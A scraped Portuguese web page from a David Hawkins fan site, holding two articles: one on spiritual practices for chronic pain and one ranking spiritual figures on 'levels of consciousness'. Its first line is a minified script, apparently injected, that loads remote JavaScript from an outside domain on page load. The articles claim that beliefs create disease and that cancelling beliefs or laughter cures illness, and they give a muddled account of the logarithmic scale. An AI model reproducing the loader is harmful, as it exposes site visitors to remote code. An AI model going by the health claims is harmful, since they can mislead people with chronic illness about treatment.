;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de crenças - David Hawkins Brasil
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Como lidar com a dor crônica sem sofrimento?

Nesse artigo vamos aprender a lidar com a dor crônica, aquela que vem e insiste em ficar. Mostraremos práticas espirituais e técnicas, vamos aprofundar no que explicamos no artigo da semana passada sobre como lidar com a dor aguda pontual que ocorre após algum acidente.

A técnica que será utilizada será a mesma que para a dor aguda, mas a forma de fazer isso é um pouco diferente. Vamos aprofundar com algumas práticas de como lidar com a dor crônica a seguir.

Lidando com a dor crônica

1ª. Prática: Observe que a dor está em todo lugar

Quem nunca sentiu uma dor que faz o estômago revirar e as pernas tremerem? A dor não tem um muro em volta em que fica apenas na região que está sendo evidenciada incialmente. A dor está na consciência e justamente por isso pode ser sentida de qualquer região do nosso corpo. Abaixo vamos ensinar uma técnica de meditação para observar isso com maior clareza.

“Como todas as experiências estão sendo experienciadas na consciência, observamos para ver onde a dor está sendo experienciada, como no caso do polegar que foi cortado. Primeiramente, poderíamos dizer que a dor está no dedo. Na verdade, onde a dor está sendo experienciada? A dor move a atenção para longe do dedo. Se a pessoa disser “Movo o foco da atenção para o topo da minha cabeça”, do topo da cabeça, olhamos a região do polegar e experienciamos a dor da situação, mas onde está se passando a dor do polegar? Quando fazemos isso, começamos a perceber que a dor está sendo experienciada em todo lugar – ao redor do corpo e nos campos de energia do corpo – está acontecendo em todos os lugares.”  – Dr. David Hawkins, “Cura e Recuperação”

2ª. Prática: Não Rotule o que está sentindo

A sensação que sentimos não é o nome que damos a sensação, é o que é experienciado de fato. Mesmo as palavras sensação ou dor são rótulos. Por exemplo, se você tem uma úlcera, não chame de úlcera. Sua mente vai querer então chamar de “queimação”. Mas isso também é um conceito.

Pense em um animal que apenas sente sem ficar refletindo sobre o que é, porque está sentindo isso, etc. É justamente isso que vamos fazer! Assim, podemos nos desvincular de todas as programações mentais que vem atreladas a ter uma doença, como, no exemplo que demos, tudo o que a humanidade associa ao fato de ter úlcera.

“Estamos sujeitos apenas àquilo que mantemos em mente. Essa única frase é a chave para curar todas as doenças, dores e sofrimentos.”  – Dr. David Hawkins, “Cura e Recuperação”

3ª. Prática: Cancele crenças

Ao compreendermos que só estamos sujeitos ao que mantemos em mente, logo vem a mente uma vontade de limpar tudo isso e de saber como fazer essa limpeza profunda. A forma de fazer isso é cancelar nossas crenças, já que são elas que estão por trás das doenças e acidentes.

“Pesquisas mostraram que é o sistema de crença em si que literalmente cria a experiência. O incidente é uma expressão do sistema de crenças. É como se a mente justificasse o que acredita ser verdade.”  – Dr. David Hawkins, “Cura e Recuperação”

A única maneira de saber se isso é verdade, é praticando. Portanto, a primeira crença que vamos cancelar é a de que dor e sofrimento são a mesma coisa. Vamos dizer a nós mesmos: “Dor é uma coisa, sofrimento é outra”.

Em seguida, vamos cancelar todos os pensamentos, pois todos são crenças. Para isso vamos utilizar a seguinte frase: “Eu cancelo a crença (de que tenho uma dor crônica). Eu sou um ser de Amor Infinito e não estou sujeito a isso”.  – Dr. David Hawkins, “Cura e Recuperação”

4ª. Prática: Se distancie da dor

O caminho não é de reprimir a dor ou se distrair para não focar no que está acontecendo. O caminho ainda é o que indicamos para a dor aguda: é renunciar à resistência para de fato sentir a dor, ao invés de tentar fugir dela. 

Podemos sentir a dor com um certo distanciamento, quase como se estivéssemos observando a dor em uma outra pessoa. 

“Por que algumas pessoas são tão suscetíveis à dor e sofrimento e para outras é tão transitório? Para quem é transitório, a dor e o sofrimento passam pela superfície, mas não em seu núcleo. Podem ficar extremamente incomodadas com algo, mas quem elas realmente são internamente, se mantém imperturbável. De alguma maneira, existe uma diferenciação entre quem se é e as experiências. O Eu real é totalmente imperturbável e permite que a experiência flua através do eu. O mal-estar, como conflitos emocionais, pode durar horas, mas o Eu verdadeiro interior nem participa desse mal-estar. Essa é a diferença entre o que é o eu real da pessoa e o que está sendo experienciado. É o desapegar do hábito de se identificar como a experiência. Somos aquilo em que a experiência está acontecendo, não a experiência em si.”  – Dr. David Hawkins, “Cura e Recuperação”

5ª. Prática: Entregue a Dor para Algo Maior

Lidar com a dor crônica não é missão para o ego, que vai querer fugir ou se sentir culpado ou orgulhoso. Esse processo envolve humildade radical e uma grande entrega a Deus. Em oração podemos assumir que não conseguimos e pedir para que Deus lide com isso por nós. Assim, poderemos experienciar que de fato algo maior do que o eu, lida com a dor por nós. 

“Minha experiência pessoal foi que alguma energia maior surgia e cuidava da dor para mim. Chamamos de “energia maior”, pois podemos verificar sua existência. Como já disse, “Deus, eu não posso fazer; faça por mim”.”  – Dr. David Hawkins, “Cura e Recuperação”

O sofrimento que vem da dor aguda é reflexo do Nível de Consciência

No fundo da tabela de consciência está a Culpa (30), a culpa excessiva gera doenças, acidentes e desgastes. Quando nos conectamos ao nível de consciência de culpa, vivemos em pecado, sofrimento, dor e isso por si só gera um ódio a nós mesmos. É um processo de autodestruição. 

Aqui, o primeiro ponto que precisamos desapegar é que isso traz algum benefício. A verdade é que a culpa não nos faz pessoas melhores, em vez disso, ela nos torna pessoas ainda mais egoístas. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espi- rituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – autopiedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo pela doença não é o caminho, nem sentir Medo de que esse estado permaneça ou mais ainda, o medo de que o estado piore.  O caminho também não é o Desejo constante de se livrar de tudo isso, o que só gera mais resistência. Enquanto a resistência, por sua vez, garante a permanência da dor e deixa as pessoas raivosas. 

“A raiva das pessoas em dor crônica é enorme. Estão presas nisso.”  – Dr. David Hawkins, “Cura e Recuperação”

Há até um Orgulho sombrio de ninguém conseguir ajudar a pessoa a sair dessa condição na qual está presa. Quando a pessoa acredita que seu caso não tem solução, perde a esperança e resiste ao tratamento. É claro que esse também não é o caminho. 

Os Níveis de Consciência positivos nos distanciam da dor

O caminho para sair disso começa na Coragem para “deixar de resistir”. A partir daí, atingimos a Neutralidade onde reconhecemos que está tudo bem, não importa o que aconteça. Isso nos traz a Disposição em ser misericordiosos e a Aceitar que somos humanos, realmente aceitar a nossa humanidade.

“Existe a aceitação da condição humana e da experiência protoplásmica humana sem sentir mágoas com relação a isso, sem sentir autopiedade, sem ficar com raiva, sem sentir orgulho e começar a julgar “erros” e sem atacar a si mesmo. Se fizermos isso, podemos nos elevar para um campo de energia chamado Amor, ou mesmo Alegria e Amor Incondicional.”  – Dr. David Hawkins, “Cura e Recuperação”

Quando entramos em um estado de amorosidade (entre 500 e 540), aprendemos a rir de nós mesmos. Logo, nos aproximamos da cura. Há vários livros que relatam que o humor cura, assim as doenças físicas são de fato curadas por risadas frequentes. Aqui, cria-se a consciência de que a dor é uma coisa, mas eu sou outra.

O que fazer com a dor crônica durante todo esse processo espiritual até se chegar na cura?

1ª. Técnica: Acupuntura

Aqui no artigo ensinamos como lidar com a parte espiritual durante uma doença, mas precisamos também fazer algo para aliviar nosso corpo físico, justamente porque todas as doenças devem ser tratadas nos âmbitos físico, mental e espiritual. A acupuntura, por sua vez, vai atuar de forma muito efetiva no corpo físico, aliviando as dores e contribuindo para que o processo de cura espiritual seja realizado do começo a fim, sem tantas interferências na vida mundana. 

2ª. Técnica: Relaxamento profundo

Outro nome dado a essa técnica é hipnose, mas dado a todas as crenças que se atribuíram a palavra, optamos por nomeá-la de relaxamento profundo, o que reflete de maneira mais autoexplicativa o que é essa técnica. 

Por questões de progressão da consciência, não recomendamos buscar um profissional que faça esse tipo de trabalho, recomendamos que a pessoa aprenda a chegar nesse estado por si só. É um estado de relaxamento no qual o nível de concentração fica aumentado de forma que não conseguimos na vida cotidiana. Assim, é muito mais fácil reprogramar crenças.

Então, como fazer isso sozinho?

Comece relaxando seu corpo por níveis, como se estivesse descendo 10 degraus. Antes de começar cada nível, anuncie mentalmente para você mesmo “Nível 1” e assim por diante.

  • Nível 1 – Inicia a experiência
  • Nível 2 – Relaxe todos os músculos da cabeça. Não se esqueça de observar a mandíbula onde sobrecarregamos muitas tensões. 
  • Nível 3 – Relaxe as tensões do pescoço e trapézio
  • Nível 4 – Relaxe os músculos das costas e do peitoral
  • Nível 5 – Aumente a progressão do relaxamento, dos músculos maiores até os menores, como ombros, braços, antebraços, mãos e dedos.
  • Nível 6 – Relaxe peito e tronco
  • Nível 7 – Relaxe toda a tensão do abdômen inferior
  • Nível 8 – Relaxe quadril e nádegas
  • Nível 9 – Deixe o relaxamento fluir pelas suas pernas
  • Nível 10 – Relaxe os pés

No nível 10, diga a si mesmo “Estou no nível 10”, como um gatilho para realmente desapegar da resistência. Em seguida, reprograme suas crenças com o que ensinamos aqui, por exemplo, que dor é uma coisa, sofrimento é outra. Observe que quando não há resistência, não há sofrimento em sentir a dor. Por fim, aplique a primeira prática que ensinamos aqui e experiencie a dor em todo lugar, sem resistência.

3ª. Técnica: Ouvir músicas grandiosas

Hoje sabemos que as músicas belas e grandiosas liberam endorfinas no cérebro. Mas desde a época de Hipócrates já sabíamos do efeito curativo que a beleza proporciona. 

No âmbito mais popular são recomendados artistas como George Harrison, Andrea Bocelli, Enrico Caruso e Louis Armstrong. Já se você gosta de música clássica, mergulhe ao som de Bach, J. S.  e Pachebel, J. (“Canon”). Mesmo que você não esteja familiarizado com músicas clássicas, escute quando for fazer uma atividade em precise de energia ou para começar o dia. Já para relaxar e se interiorizar, recomendamos músicas espirituais como “Ave Maria” e “Amazing Grace” ou o som de Robert Gass.

Não perca nada!

Essa é a segunda parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na primeira parte, ensinamos a lidar com a dor aguda e é uma ótima introdução para melhor compreender o que ensinamos aqui.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Como despertar a Iluminação Espiritual – com Base em Dr. David R. Hawkins

Iluminação Espiritual é observação, aceitação e amor incondicional constantes no momento Presente, sem cair nas seduções das consciências negativas.

Iluminação Espiritual não é algo a ser alcançado, um estado que se chega, uma recompensa. É simplesmente Tornar-se a cada instante pura observação e testemunha.

É o filtro constante daquilo que não é de Deus, que é do ego.

O estado de Iluminação é deixar de lado a cada instante as recompensas de prazeres sensoriais de curto prazo danosas e egoístas para atender o que se pede pela Vontade Divina.

Crenças sobre a iluminação

E o ser iluminado, é alguém recluso?

Não, Ser Iluminado não significa que este ser não realize mais ações do cotidiano, como assistir um filme ou um vídeo, navegar na internet ou acessar as redes sociais.

A utopia de seres iluminados precisarem se retirar do convívio social para viver em mosteiros ou monastérios e usar vestes específicas já foi algo desmistificado por Buda há 2.500 anos.

Mas mesmo assim adoramos nos envolver em histórias de ficção espiritual e acreditar que a Iluminação Espiritual está longe, que temos que nos esforçar para a alcançar em algum lugar no futuro ou seguir determinado tipo de ritual e vestes específicas.

O que é a Iluminação Espiritual?

Iluminação Espiritual é justamente o contrário disso tudo.

É a constante troca de esforço por entrega.

Entrega e rendição contínua ao Divino, a algo maior, ao estado Búdico ou à consciência Crística, tanto faz, pois todos são uma e a mesma coisa.

Iluminação Espiritual é Presença.

Presença não é ausência de pensamento, mas o desapego dos fenômenos mentais como:

  • sensações,
  • pensamentos,
  • ideias,
  • opiniões,
  • julgamentalismos,
  • emoções
  • e todas as outras distrações advindas da mente e do ego.

Iluminação é o estado de não acreditar na mente.

Desconstruir a crença de que somos a nossa mente ou nosso corpo físico.

A crença de que somos o que pensamos e de que nossos pontos de vistas e posicionamentos quanto ao mundo devem ser defendidos.

Iluminação Espiritual é humildade de não-saber.

Aquele que acredita-que-sabe incorre em:

  • presunção,
  • ceticismo,
  • soberba,
  • orgulho ou
  • arrogância

E, quando esse nível de consciência negativo ocorre, somos levados à:

  • raiva,
  • indignação,
  • cinismo,
  • inveja,
  • ciúme,
  • irritação,
  • entre outros tantos sentimentos destrutivos.

Aquele que presume com julgamentos não pode ser humilde.

O Ser humilde sabe experiencialmente, mas está aberto a desapegar de uma crença menor por uma Verdade maior, sabendo que a consciência está em eterna busca por evolução.

Se não há a abertura em abrir mão de um saber menor por um maior, não há evolução.

Há estagnação ou involução. Sofrimento.

Iluminação Espiritual é aceitar o que É a cada momento.

  • Observar sem julgar
  • Discernir se deve ou não intervir
  • É agraciar tanto a ação quanto a inação.
  • É cortar a cada momento que nasce um pensamento, o seu envolvimento e apego a ele. Observá-lo.
  • Deixar de acreditar que está certo e que o outro está errado a cada instante: agora, e agora, e agora de novo e agora de novo, e mais uma vez, e de novo, e de novo.

Um trabalho constante. Nesta tabela abaixo é possível compreender melhor a diferencia entre julgamento e observação:

Iluminação Espiritual não é complexidade. É simplicidade. Muita simplicidade.

É inocência pura. “Vinde a mim as crianças e não as impeça, pois o reino dos Céus são daqueles semelhantes a elas” de Jesus Cristo.

É um estado de ser criança e idoso (Lao-Tsé). A ingenuidade infantil com o discernimento maduro. Ambos juntos.

O discernimento é o saber experiencial de que não sabemos de nada.

Se acharmos que sabemos, estamos fechados a aprender o novo.

E sem aprendizado não há evolução.

A ingenuidade, por sua vez, é o estado de confiar plenamente em que: o que está acontecendo agora é o melhor para a evolução do Ser e devo me ater apenas a aprender com cada momento.

Tanto discernimento quanto humildade são imprescindíveis para o aprendizado.

Por isso, ambos, por mais que pareçam divergentes e juntos pareçam paradoxais, são uma e a mesma coisa.

Iluminação Espiritual é o constante desapego do menor pelo Maior.

É o alinhamento pleno e contínuo com a vontade Divina. Mesmo que a Vontade Divina daquele momento seja não fazer nada, ou assistir Netflix, ou conversar com um familiar.

Tudo é como É, e isto deve ser profundamente aceito.

Pois se tivesse que ser diferente, seria!

Sendo o que somos

Para ser iluminado, primeiro deve-se quebrar a crença de que devemos ser diferentes do que somos, pois quem quer ser diferente, por comparação, é o ego.

O ego que busca algo fora e no futuro.

Iluminação é o estado de autoaceitação e aceitação com ausência de:

  • querer,
  • desejar,
  • julgar.

É a troca da condenação pela compreensão que se torna compaixão.

Por si mesmo, pelos outros, por todos os seres encarnados e desencarnados que possuem uma vida física ou não física.

Compreendendo os níveis de consciência

Dr. David R. Hawkins dedicou a sua vida a curar pessoas: física, mental e espiritualmente e a realizar trabalhos altruístas por todo o mundo, atendendo clinicamente, palestrando e escrevendo livros os quais inspiram as pessoas no caminho da autocura e da Iluminação Espiritual.

Seu primeiro livro, Poder vs. Força (best-seller traduzido para o português pela Pandora Treinamentos), foi embasado em sua tese de PhD, a qual revolucionou a compreensão da ciência através da comprovação dos níveis de consciência e da identificação da interconexão de tudo o que existe, existiu e virá a existir.

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

  • Psiquiatra clínico por mais de 50 anos;
  • Escreveu livro vanguardista sobre Psiquiatria Molecular com o químico ganhador do Prêmio Nobel Linus Pauling;
  • Entrou para o hall da fama da medicina ortomolecular;
  • Criador do Mapa de Consciência;
  • Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
  • Consultor diplomático entre países com conflito político;
  • Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
  • Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
  • Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
  • Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Uma sequência de artigos

A sequência de artigos que vimos até aqui e que constam no final dessa página aprofunda cada nível de consciência descrito pelo Dr. David R. Hawkins cuja tabela desses níveis encontra-se em seus livros.

Cada nível de consciência, em ordem crescente, tem poder de influência e propensão a mudança absurdamente maior do que o nível anterior, já que esta categorização de 0 a 1.000 representa analogamente uma escala logarítmica com base 10.

Ou seja, o nível de consciência 3 não é a soma de 2+1, mas sim o nível 2 elevado à décima potência, como um comparativo simples de entender.

Para quem tiver interesse em se aprofundar no entendimento sobre a checagem dos níveis de consciência, indico a leitura do livro Power vs Force que pode ser encontrado na loja da Pandora Treinamentos, tradutora oficial dos livros do Dr. Hawkins para o português.

Os estágios de Salvação, Iluminação Espiritual e Nirvana

De acordo com Dr. David R. Hawkins, existem diversos estágios de iluminação, já que a consciência é constantemente evolucionária.

Os primeiros estágios em correlação às descrições de Buda, acontecem ainda nos níveis de consciência de Amor e Amor Incondicional.

O primeiro estágio – Sotapanna

O estágio de Sotapanna, no nível calibrável de gratidão em 510, é considerado aquele que entra no fluxo. 

Esse ser se livrou de três amarras que o mantém nas ilusões do mundo, do ego e da mente (Maya):

  • crença em si mesmo separado do Todo,
  • o apego a rituais e
  • o ceticismo sobre o Caminho a Deus (iluminação).

Este Ser vai renascer no máximo mais sete vezes para aprender o suficiente sobre a Iluminação Espiritual e abandonar Samsara, o ciclo contínuo e ininterrupto de nascimentos e mortes físicas.

Dentro do conceito cristão, a Salvação através de Jesus Cristo é equivalente ao nível de consciência de 540, ou Amor Incondicional.

Assim, quando nos libertamos do corpo físico por espontaneidade (e não por forçarmos), a própria consciência Crística se “encarrega” de nos levar à iluminação ou unificação em Deus, nos reinos celestes, sem a necessidade de reencarnar se assim quisermos e se for de Vontade Divina.

O segundo estágio – Sakadagami

O segundo estágio de iluminação budista, chamado Sakadagami, equivalente a 570 nos níveis de consciência, é considerado aquele que retorna apenas mais uma vez. 

Esse ser além das três amarras que já cortou enfraquece o laço com mais duas: desejos sensoriais e má intenção. Renascerá apenas mais uma vez para dissolver seus resíduos cármicos.

O terceiro estágio – Anagami

O terceiro estado de iluminação, ou Anagami, é equivalente ao nível calibrável de 600, ou chamado estado de Paz, descrito no artigo anterior desta série.

No ioga, este estado é denominado o primeiro estágio de Samadhi, ainda com resquícios de ego, denominado Savikalpa Samadhi, a compreensão da Existência e a comunhão com o Universo.

Este Ser é considerado aquele que não retorna, a não ser que seja de Vontade Divina para orientar a humanidade.

Este ser cortou os cinco primeiros laços mencionados de maneira permanente. Não renasce mais no domínio dos sentidos, renasce em um paraíso sem forma e se ilumina por lá.

Neste estágio, o Ser se torna o observador e a testemunha que intervém no mundo quando é Convocado.

Já não há mais a necessidade de fazer algo para alimentar seus prazeres pessoais, por mais que as preferências características daquela vida humana permaneçam, pois não há necessidade de serem alteradas ou deixadas de lado se forem de pura intenção, já que o estado é de plena aceitação.

Este nível é o nível de consciência de grandes mestres espirituais e santos como:

  • Lao-Tsé,
  • São Francisco de Assis,
  • S. N. Goenka,
  • Chico Xavier no final de sua vida quando já não lecionava mais, entre outros.

O salto para a autorrealização

Ainda neste terceiro estágio, o Dr. David R. Hawkins explica que há uma evolução com características diferenciadas para o nível de consciência de Autorrealização em 700.

A partir deste nível e adiante, encontramos os grandes profetas espirituais que dedicaram sua vida para salvar a humanidade e nos ensinar a base de todas as religiões clássicas as quais temos conhecimento como:

  • Cristianismo,
  • Islamismo,
  • Judaísmo,
  • Budismo,
  • Hinduísmo,
  • entre outras.

A Graça do Ser é descrita como inefável (indescritível, inominável, indivisível).

Neste nível de consciência, encontramos sábios como:

  • Maomé,
  • Mahatma Gandhi,
  • Madre Teresa de Calcutá,
  • Teresa de Ávila,
  • São Paulo de Tarso,
  • Patanjali,
  • Sri Nisargadatta Maharaj,
  • Sri Ramana Maharshi,
  • Mestre Dogen,
  • Adi Shankaracharya,
  • Mestre Eckhart (não confundir com Eckhart Tolle),
  • entre outros.

Hoje, temos o conhecimento de um Ser presente na Terra neste nível de consciência conhecido como Palden Dorje (quem se interessar pode verificar brevemente sua história no Wikipedia e assistir a este vídeo no YouTube).

“O merecedor” – Arhat

Após este estágio de grande plenitude, encontramos o tão comentado e requisitado por monges budistas, o estágio de Arhat, que significa ‘o merecedor’ ou ‘aquele que merece louvores Divinos’.

Calibrável ao nível 800, este ser cortou tanto as cinco amarras inferiores dos primeiros três primeiros estágios quanto as cinco amarras superiores sutis: desejo por existência com forma sutil (paraísos celestiais), desejo por existência nos reinos sem forma, conceitos, inquietação e ignorância. Nunca mais renasce. Atingiu e se mantém nos primeiros estágios de Nirvana ou Iluminação Plena. No ioga, este é o estágio de Nirvikalpa Samadhi, sem resquícios do ego.

Além deste nível de plenitude, existe ainda mais dois estágios possíveis de se alcançar na fisicalidade, mesmo que raros.

Este é o nível denominado Vazio e considerado por muitos o último estado de Iluminação ou Búdico, porém, de acordo com Dr. David R. Hawkins, ainda não é a Totalidade de Buda, ou da Consciência Crística.

Este estado é de tamanha Graça, que nada parece haver além dele, porém, de acordo com Hawkins, a interpretação do Vazio como estado Último é um erro de conceito sobre interpretações equivocadas das palavras de Buda.

Os sábios de Arhat

Os números de sábios nestes níveis são raros (50% do tempo sem um desses seres nos últimos 1.000 anos).

Seus ensinamentos são essencialmente os mesmos, embora surgidos em locais, tempos e culturas diferentes, alguns deles são:

  • Vedas,
  • Upanishads,
  • Baghavad Gita,
  • Canone Pali,
  • Novo Testamento,
  • Zohar, etc.

Os grandes mestres deste nível, e acima, e seus ensinamentos emanam campos extremamente poderosos de energia de alta frequência na consciência coletiva da humanidade.

A este nível de consciência encontramos profetas e sábios como:

  • Abraão,
  • Moisés,
  • João Batista,
  • Huang Po e
  • Os 12 apóstolos de Jesus.

Atualmente, temos conhecimento de apenas um Ser encarnado está neste nível de consciência denominado Venerável Pa-Auk Tawya Sayadaw (para mais informações pode-se visitar o site de seu monastério, localizado em Myanmar, ou assistir uma parte de seu vídeo legendado.

De acordo com o livro “Transcending the Levels of Consciousness“, do Dr. David R. Hawkins, o saber necessário para superar este nível é que o Amor Divino que também é não-linear e sem sujeito, objeto, forma ou condicionalidade.

O erro do Vazio é negar até mesmo o Amor Divino por confundir com o amor do estado humano egoico de posse.

O último estado de consciência do mundo físico

Como último estado de consciência possível de ser despertado no mundo físico, está o nível da Totalidade, que calibra em 1.000.

O último vestígio do ego coletivo desaparece no silêncio da Presença.

Este é o nível dos enviados Divinos, ou filhos de Deus, ou Avatares, onde encontramos:

  • Jesus Cristo,
  • Buda,
  • Krishna e
  • Zoroastro. 

A perfeição impressionante e beleza da Totalidade da Criação como Divindade irradia. 

Gloria in Excelsis Deo é o próprio Estado.

Todos estes níveis de consciência estão disponíveis para todos os seres humanos, em todos os tempos e todas as culturas.

O único pré-requisito é se dedicar, profundamente e constantemente, a buscar a Verdade e estabelecer um  compromisso em alinhar suas intenções com a Vontade Divina.

“O caminho é reto e os portões são estreitos. Não perca tempo”. 
Dr. David R. Hawkins; MD; PhD.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual